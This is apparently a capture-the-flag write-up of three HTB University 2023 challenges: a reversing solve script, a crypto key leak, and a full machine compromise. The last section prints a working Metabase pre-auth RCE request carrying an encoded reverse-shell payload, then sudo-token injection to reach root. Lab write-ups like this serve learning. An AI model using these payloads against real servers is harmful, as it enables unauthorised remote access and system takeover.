HTB University 2023 - Brains and bytes
Write ups of HTB University 2023 for the three challenges I solved. x1 Reversing, x1 Crypto, x1 FullPwn
Rev - windowsofopportunity
The binary asked for a password, simple password guessing challenge The binary was comparing the addition of the current letter and the next letter of the password in a while loop with a hex variable found on the stack (arr)
arr = "9c96bdaf93c39460a2d1c2cf9ca3a66894c1d7ac969393d6a89fd294a7d68fa0a3a1a3569e"

Knowing that the first letter must be an H because the flag format HTB{}, here is my script:
import string
from Crypto.Util import number
arr = "9c 96 bd af 93 c3 94 60 a2 d1 c2 cf 9c a3 a6 68 94 c1 d7 ac 96 93 93 d6 a8 9f d2 94 a7 d6 8f a0 a3 a1 a3 56 9e".split()
n = 0
solved = 'H'
letter = 'H'
for x in arr:
check = int('0x' + x, 16)
rest = ord(letter)
next_value = chr(check - rest)
letter = next_value
solved+=next_value
print(solved)

Crypto - MSS
Inspecting the code we knew we had to specify either get_share command or encrypt_flag command
class MSS:
def __init__(self, BITS, d, n):
self.d = d
self.n = n
self.BITS = BITS
self.key = bytes_to_long(os.urandom(BITS//8))
self.coeffs = [self.key] + [bytes_to_long(os.urandom(self.BITS//8)) for _ in range(self.d)]
def poly(self, x):
return sum([self.coeffs[i] * x**i for i in range(self.d+1)])
def get_share(self, x):
if x > 2**15:
return {'approved': 'False', 'reason': 'This scheme is intended for less users.'}
elif self.n < 1:
return {'approved': 'False', 'reason': 'Enough shares for today.'}
else:
self.n -= 1
return {'approved': 'True', 'x': x, 'y': self.poly(x)}
def encrypt_flag(self, m):
key = sha256(str(self.key).encode()).digest()
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
ct = cipher.encrypt(pad(m, 16))
return {'iv': iv.hex(), 'enc_flag': ct.hex()}
...
def show_menu():
return """
Send in JSON format any of the following commands.
- Get your share
- Encrypt flag
- Exit
query = """
def main():
mss = MSS(256, 30, 19)
show_banner()
while True:
try:
query = json.loads(input(show_menu()))
if 'command' in query:
cmd = query['command']
if cmd == 'get_share':
if 'x' in query:
x = int(query['x'])
share = mss.get_share(x)
print(json.dumps(share))
else:
print('\n[-] Please send your user ID.')
elif cmd == 'encrypt_flag':
enc_flag = mss.encrypt_flag(FLAG)
print(f'\n[+] Here is your encrypted flag : {json.dumps(enc_flag)}.')
elif cmd == 'exit':
print('\n[+] Thank you for using our service. Bye! :)')
break
else:
print('\n[-] Unknown command:(')
except KeyboardInterrupt:
exit(0)
except (ValueError, TypeError) as error:
print(error)
print('\n[-] Make sure your JSON query is properly formatted.')
pass
The encrypt flag gave us back the flag encrypted and the iv used, that was randomly generated.

The key used was the self.key in sha256
The get_share option we wanted was:

self.poly was the following function:
def poly(self, x):
return sum([self.coeffs[i] * x**i for i in range(self.d+1)])
And we knew that self.coeffs was:
self.coeffs = [self.key] + [bytes_to_long(os.urandom(self.BITS//8)) for _ in range(self.d)]
I thought that this was vulnerable, because I could input value 0 on get_share, that would give me just the key, to test my hypothesis I wrote a test script:
from Crypto.Util.number import bytes_to_long
import os
BITS = 256
d = 30
key = 1616440045589858973967362169645923569164480788693808049788422574055690247720796
coeffs = [key] + [1737373173690379085970176930429036152544668341894384726201130355237451828690248 for _ in range(d)]
x = 0
print(sum([coeffs[i] * x**i for i in range(d+1)]))
Which output was indeed the same as the random key I entered.
As the only thing that changed was the iv but not the key (as this was declared on the constrctor), I had everything I needed to recover the flag.
1st get the encrypted flag connecting to netcat port:
query = {"command" : "encrypt_flag"}
[+] Here is your encrypted flag : {"iv": "404669f7f0afd0469e747b4c49273b61", "enc_flag": "66bf49e1c945e7e2bd6d40a1eeaecdf2e124e14496da328d5957c47eca1795e1c12a2b7b2117dd7fadd2ce31daa682fe"}.
Then leak the key value:
query = {"command" : "get_share", "x" : 0}
{"approved": "True", "x": 0, "y": 58012047547221661447903222931573345842174192162306275778615464289153799906054}
Solve script to decrypt the AES CBC:
from Crypto.Util.number import bytes_to_long, long_to_bytes
from Crypto.Cipher import AES
import os
from hashlib import sha256
# Leaked key we got:
key = 58012047547221661447903222931573345842174192162306275778615464289153799906054
# iv and ct of the same session of the key:
iv = 0x404669f7f0afd0469e747b4c49273b61
ct = 0x66bf49e1c945e7e2bd6d40a1eeaecdf2e124e14496da328d5957c47eca1795e1c12a2b7b2117dd7fadd2ce31daa682fe
# sha the leaked key
key = sha256(str(key).encode()).digest()
cipher = AES.new(key, AES.MODE_CBC, long_to_bytes(iv))
m = cipher.decrypt(long_to_bytes(ct))
print(m)
Which gave me the flag:

FullPwn - Apethanto
Initial shell - Metabase RCE
On port 3000 theres a Metabase server This post explains an RCE: https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
From this script I adapted the poc because it wasnt working: https://github.com/shamo0/CVE-2023-38646-PoC/blob/main/CVE-2023-38646.py
The following burp request was used to get initial shell trigger, the base64 string was a doble b64 encode of a bash -i reverse shell (There was a problem if the b64 string had '=' so I had to remove it by encoding again)
POST /api/setup/validate HTTP/1.1
Host: apethanto.htb:3000
Content-Type: application/json
Content-Length: 612
{
"token": "819139a8-1ce9-46f0-acf8-9b4fc0d1164b",
"details":
{
"details":
{
"advanced-options": true,
"classname": "org.h2.Driver",
"subname": "mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS SHELLEXEC AS $$ void shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(new String[]{\"sh\", \"-c\", cmd})\\;}$$\\;CALL SHELLEXEC('echo \"WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0eE9EUXZPREFnTUQ0bU1Rbz0K\" | base64 -d | base64 -d | bash');",
"subprotocol": "h2"},
"engine": "postgres",
"name": "x"
}
}

LPE - Abusing sudo tokens
https://book.hacktricks.xyz/linux-hardening/privilege-escalation#reusing-sudo-tokens
Checks:
Running pspy revealed that sudo user was running sudo -u metabase -i ![[Pasted image 20231209133243.png]]
cat /proc/sys/kernel/yama/ptrace_scope
is 0gdb
is accessible (linpeas revealde this in red)
git clone https://github.com/nongiach/sudo_inject
metabase@Apethanto:/tmp$ bash exploit.sh
Current process : 191409
cp: 'activate_sudo_token' and '/tmp/activate_sudo_token' are the same file
Injecting process 1893 -> sh
Injecting process 1897 -> bash
Injecting process 1898 -> bash
Injecting process 1920 -> bash
Injecting process 170060 -> bash
Injecting process 191392 -> bash
cat: /proc/191414/comm: No such file or directory
Injecting process 191414 ->
metabase@Apethanto:/tmp$ /tmp/activate_sudo_token
metabase@Apethanto:/tmp$ sudo su
root@Apethanto:/tmp# whoami
root
root@Apethanto:/tmp# cd /root
root@Apethanto:~# cat root.txt
HTB{812b9160a92b9e6f432ea7ed51ccbf2e}
root@Apethanto:~#
Last updated